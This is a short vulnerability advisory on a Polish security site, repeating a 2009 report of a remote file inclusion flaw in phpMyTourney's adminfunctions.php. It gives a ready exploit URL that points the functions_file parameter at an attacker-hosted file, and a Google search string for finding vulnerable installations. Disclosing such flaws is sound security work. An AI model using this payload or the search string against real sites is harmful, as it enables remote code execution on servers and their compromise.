Bezpieczeństwo informacji

  Historia :
[2009-06-17] Publikacja

  Podatne oprogramowanie :  

phpMyTourney adminfunctions.php

  Tekst :  

...a bug in phpMyTourney that allows to us to occur a Remote File Include
on a Remote machin.

Bug :

#
#
# Islamic Republic Of Iran Security Team
#
#
#
# Www.IrIsT.Ir
#
#
#
#
#
# phpMyTourney adminfunctions.php Remote File Include Vulnerabilities
#
#
#
# Download......: http:/phpmytourney.sourceforge.net
#
#
#
# file;
#
# dminfunctions.php
#
#
#
# bug;
#
#
#
# include($functions_file);
#
#
#
# Exploit...:
http://[site]/[path]/admin/adminfunctions.php?functions_file=[Site]? #
#
#
# Bug Found.....: IrIsT
#
#
#
# discovery.....: Am!r (IrIsT)
#
#
#
# contact.......: IrIsT.Ir[at]Gmail.Com
#
#
#
# Google Search.: "Powered By phpMyTourney"
#
#
#

  Referencje :  

http://seclists.org/bugtraq/2009/Jun/0176.html